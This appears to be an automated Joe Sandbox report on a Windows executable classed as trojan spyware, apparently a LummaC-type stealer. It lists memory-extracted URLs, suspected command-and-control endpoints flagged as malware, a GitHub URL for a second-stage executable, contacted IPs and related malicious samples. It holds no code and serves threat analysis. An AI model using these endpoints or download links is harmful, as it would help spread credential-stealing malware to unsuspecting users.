https://store.steampowered.com/privacy_agreement/	Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com/	Gz1bBIg2Tw.exe, 00000000.00000002.3954992969.0000000001DF3000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3948821042.0000000001DF2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com	Gz1bBIg2Tw.exe, Gz1bBIg2Tw.exe, 00000000.00000003.3952432312.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000002.3954496167.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3952221877.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://prisonyfork.buzz:443/api	Gz1bBIg2Tw.exe, 00000000.00000003.3714745544.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704373227.0000000001D60000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/apiFile	Gz1bBIg2Tw.exe, 00000000.00000003.3952382662.0000000001E04000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000002.3955143473.0000000001E04000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3948801893.0000000001E02000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3850742248.0000000001E00000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://hummskitnj.buzz:443/apiI	Gz1bBIg2Tw.exe, 00000000.00000003.3714745544.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704373227.0000000001D60000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	Gz1bBIg2Tw.exe, 00000000.00000003.3797449988.00000000030A3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://store.steampowered.com/;	Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/about/	Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/.	Gz1bBIg2Tw.exe, 00000000.00000002.3954334482.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3952432312.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3816128734.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714745544.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704373227.0000000001D60000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/my/wishlist/	Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://help.steampowered.com/en/	Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://screwamusresz.buzz:443/api	Gz1bBIg2Tw.exe, 00000000.00000003.3714745544.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704373227.0000000001D60000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://steamcommunity.com/market/	Gz1bBIg2Tw.exe, 00000000.00000003.3704358734.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714668414.0000000001DEA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/news/	Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com:443/DLMKER/biden/refs/heads/main/SamilinadiSoftware.exe	Gz1bBIg2Tw.exe, 00000000.00000002.3954334482.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3952432312.0000000001D60000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/DLMKER/biden/raw/refs/heads/main/SamilinadiSoftware.exekD	Gz1bBIg2Tw.exe, 00000000.00000003.3948762460.0000000003091000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000002.3955612223.0000000003098000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Gz1bBIg2Tw.exe, 00000000.00000003.3715478428.00000000030DC000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3715553295.00000000030D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/apim	Gz1bBIg2Tw.exe, 00000000.00000003.3952432312.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000002.3954496167.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3952221877.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/subscriber_agreement/	Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE5000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D59000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714668414.0000000001DF6000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://scentniej.buzz:443/apih	Gz1bBIg2Tw.exe, 00000000.00000003.3714745544.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D60000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704373227.0000000001D60000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://lev-tolstoi.com/apik	Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE5000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D59000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714668414.0000000001DF6000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	Gz1bBIg2Tw.exe, 00000000.00000003.3797449988.00000000030A3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://recaptcha.net/recaptcha/;	Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/discussions/	Gz1bBIg2Tw.exe, 00000000.00000003.3704358734.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714668414.0000000001DEA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/stats/	Gz1bBIg2Tw.exe, 00000000.00000003.3704358734.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3714668414.0000000001DEA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am	Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://medal.tv	Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://broadcast.st.dl.eccdnx.com	Gz1bBIg2Tw.exe, 00000000.00000003.3694949641.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/steam_refunds/	Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/	Gz1bBIg2Tw.exe, 00000000.00000003.3952221877.0000000001D9A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	Gz1bBIg2Tw.exe, 00000000.00000003.3795576715.00000000030DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	Gz1bBIg2Tw.exe, 00000000.00000003.3795576715.00000000030DA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Gz1bBIg2Tw.exe, 00000000.00000003.3715478428.00000000030DC000.00000004.00000800.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3715553295.00000000030D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a	Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE5000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694816043.0000000001D59000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3704273729.0000000001DEE000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694801001.0000000001DEB000.00000004.00000020.00020000.00000000.sdmp, Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900	Gz1bBIg2Tw.exe, 00000000.00000003.3694763247.0000000001DE8000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.157.254	lev-tolstoi.com	United States	13335	CLOUDFLARENETUS	false
185.199.109.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
140.82.121.4	github.com	United States	36459	GITHUBUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583037
Start date and time:	2025-01-01 16:51:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Gz1bBIg2Tw.exe renamed because original name is a hash value
Original Sample Name:	e6ca05860eca285d9eacc82cdce02b49.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/1@12/4
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 20.12.23.50
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Gz1bBIg2Tw.exe, PID 4784 because there are no executed function
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:54:33	API Interceptor	11x Sleep call for process: Gz1bBIg2Tw.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.157.254	EdYEXasNiR.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse
	Exlan_setup_v3.1.2.exe	Get hash	malicious	LummaC	Browse
	GPU-Z.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer	Browse
	Loader.exe	Get hash	malicious	LummaC	Browse
	MPgkx6bQIQ.exe	Get hash	malicious	LummaC	Browse
	l0zocrLiVW.exe	Get hash	malicious	LummaC	Browse
	XYQ1pqHNiT.exe	Get hash	malicious	LummaC	Browse
	5Z19n7XRT1.exe	Get hash	malicious	LummaC	Browse
	TdloJt4gY3.exe	Get hash	malicious	LummaC	Browse
	726odELDs8.exe	Get hash	malicious	LummaC	Browse
185.199.109.133	cr_asm3.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	gabe.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	5UIy3bo46y.dll	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	HQsitBLlOv.dll	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Get hash	malicious	Metasploit	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt
	SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Get hash	malicious	AsyncRAT, XWorm	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lev-tolstoi.com	Exlan_setup_v3.1.2.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	GPU-Z.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer	Browse	172.67.157.254
	gdi32.dll	Get hash	malicious	LummaC	Browse	104.21.66.86
	Loader.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	Crosshair-X.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	iien1HBbB3.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	oe9KS7ZHUc.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	MPgkx6bQIQ.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	l0zocrLiVW.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	XYQ1pqHNiT.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
raw.githubusercontent.com	ipmsg5.6.18_installer.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	over.ps1	Get hash	malicious	Vidar	Browse	185.199.109.133
	Epsilon.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	eXbhgU9.exe	Get hash	malicious	LummaC	Browse	185.199.110.133
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	185.199.108.133
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	185.199.108.133
	Supplier.bat	Get hash	malicious	Unknown	Browse	185.199.110.133
	Supplier.bat	Get hash	malicious	LodaRAT, XRed	Browse	185.199.111.133
	NEW-DRAWING-SHEET.bat	Get hash	malicious	Unknown	Browse	185.199.111.133
	fxsound_setup.exe	Get hash	malicious	Unknown	Browse	185.199.109.133
github.com	ipmsg5.6.18_installer.exe	Get hash	malicious	Unknown	Browse	140.82.121.3
	eXbhgU9.exe	Get hash	malicious	LummaC	Browse	140.82.121.4
	fxsound_setup.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	Electrum-bch-4.4.2-x86_64.AppImage.elf	Get hash	malicious	Unknown	Browse	185.199.111.133
	OiMp3TH.exe	Get hash	malicious	LummaC	Browse	20.233.83.145
	YYjRtxS70h.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	YYjRtxS70h.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	20.233.83.145
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	20.233.83.145
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	20.233.83.145
steamcommunity.com	OXoeX1Ii3x.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	OXoeX1Ii3x.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	Exlan_setup_v3.1.2.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	Bootstrapper.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	GPU-Z.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer	Browse	104.102.49.254
	gdi32.dll	Get hash	malicious	LummaC	Browse	23.55.153.106
	Loader.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Crosshair-X.exe	Get hash	malicious	LummaC	Browse	104.121.10.34
	iien1HBbB3.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	oe9KS7ZHUc.exe	Get hash	malicious	LummaC	Browse	23.55.153.106

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	https://mmm.askfollow.us/#CRD	Get hash	malicious	Unknown	Browse	151.101.193.44
	http://l.instagram.com/?0bfd7a413579bfc47b11c1f19890162e=f171d759fb3a033e4eb430517cad3aef&e=ATP3gbWvTZYJbEDeh7rUkhPx4FjctqZcqx8JLHQOt3eCFNBI8ssZ853B2RmMWetLJ63KaZJU&s=1&u=https%3A%2F%2Fbusiness.instagram.com%2Fmicro_site%2Furl%2F%3Fevent_type%3Dclick%26site%3Digb%26destination%3Dhttps%253A%252F%252Fwww.facebook.com%252Fads%252Fig_redirect%252F%253Fd%253DAd8U5WMN2AM7K-NrvRBs3gyfr9DHeZ3ist33ENX9eJBJWMRBAaOOij4rbjtu42P4dXhL8YyD-jl0LZtS1wkFu-DRtZrPI1zyuzAYXXYv3uJfsc2GuuhHJZr0iVcLluY7-XzYStW8tPCtY7q5OaN0ZR5NezqONJHNCe212u1Fk3V5I6c8mMsj53lfF9nQIFCpMtE%2526a%253D1%2526hash%253DAd_y5usHyEC86F8X	Get hash	malicious	Unknown	Browse	151.101.65.44
	https://t.co/YjyGioQuKT	Get hash	malicious	Unknown	Browse	151.101.129.44
	ipmsg5.6.18_installer.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	http://img1.wsimg.com/blobby/go/9b6ed793-452c-4f8f-8f80-6847f4d114d7/downloads/71318864754.pdf	Get hash	malicious	Unknown	Browse	151.101.129.140
	FW_ Carr & Jeanne Biggerstaff has sent you an ecard.msg	Get hash	malicious	Unknown	Browse	151.101.2.133
	over.ps1	Get hash	malicious	Vidar	Browse	185.199.109.133
	EdYEXasNiR.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	185.199.110.133
	5EfYBe3nch.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LiteHTTP Bot, LummaC Stealer, Poverty Stealer, Stealc	Browse	185.199.109.133
	25F.tmp.exe	Get hash	malicious	Darkbot	Browse	151.101.2.137
CLOUDFLARENETUS	yTcaknrrb8.exe	Get hash	malicious	LummaC	Browse	104.21.92.91
	Active_Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.198.102
	eP6sjvTqJa.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.38.84
	GqjiKlwarV.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	172.67.220.198
	1znAXdPcM5.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.38.84
	YGk3y6Tdix.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.38.84
	https://mmm.askfollow.us/#CRD	Get hash	malicious	Unknown	Browse	104.17.24.14
	http://l.instagram.com/?0bfd7a413579bfc47b11c1f19890162e=f171d759fb3a033e4eb430517cad3aef&e=ATP3gbWvTZYJbEDeh7rUkhPx4FjctqZcqx8JLHQOt3eCFNBI8ssZ853B2RmMWetLJ63KaZJU&s=1&u=https%3A%2F%2Fbusiness.instagram.com%2Fmicro_site%2Furl%2F%3Fevent_type%3Dclick%26site%3Digb%26destination%3Dhttps%253A%252F%252Fwww.facebook.com%252Fads%252Fig_redirect%252F%253Fd%253DAd8U5WMN2AM7K-NrvRBs3gyfr9DHeZ3ist33ENX9eJBJWMRBAaOOij4rbjtu42P4dXhL8YyD-jl0LZtS1wkFu-DRtZrPI1zyuzAYXXYv3uJfsc2GuuhHJZr0iVcLluY7-XzYStW8tPCtY7q5OaN0ZR5NezqONJHNCe212u1Fk3V5I6c8mMsj53lfF9nQIFCpMtE%2526a%253D1%2526hash%253DAd_y5usHyEC86F8X	Get hash	malicious	Unknown	Browse	104.26.13.60
	https://t.co/YjyGioQuKT	Get hash	malicious	Unknown	Browse	104.21.64.1
	6a7e35.msi	Get hash	malicious	Unknown	Browse	104.21.32.1
AKAMAI-ASUS	OXoeX1Ii3x.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	OXoeX1Ii3x.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	setup.exe	Get hash	malicious	Unknown	Browse	23.217.49.150
	decrypt.exe	Get hash	malicious	Unknown	Browse	184.28.90.27
	decrypt.exe	Get hash	malicious	Unknown	Browse	184.28.90.27
	FW_ Carr & Jeanne Biggerstaff has sent you an ecard.msg	Get hash	malicious	Unknown	Browse	104.102.34.241
	decrypt.ps1	Get hash	malicious	Unknown	Browse	184.28.90.27
	EdYEXasNiR.exe	Get hash	malicious	LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar	Browse	104.102.49.254
	Exlan_setup_v3.1.2.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
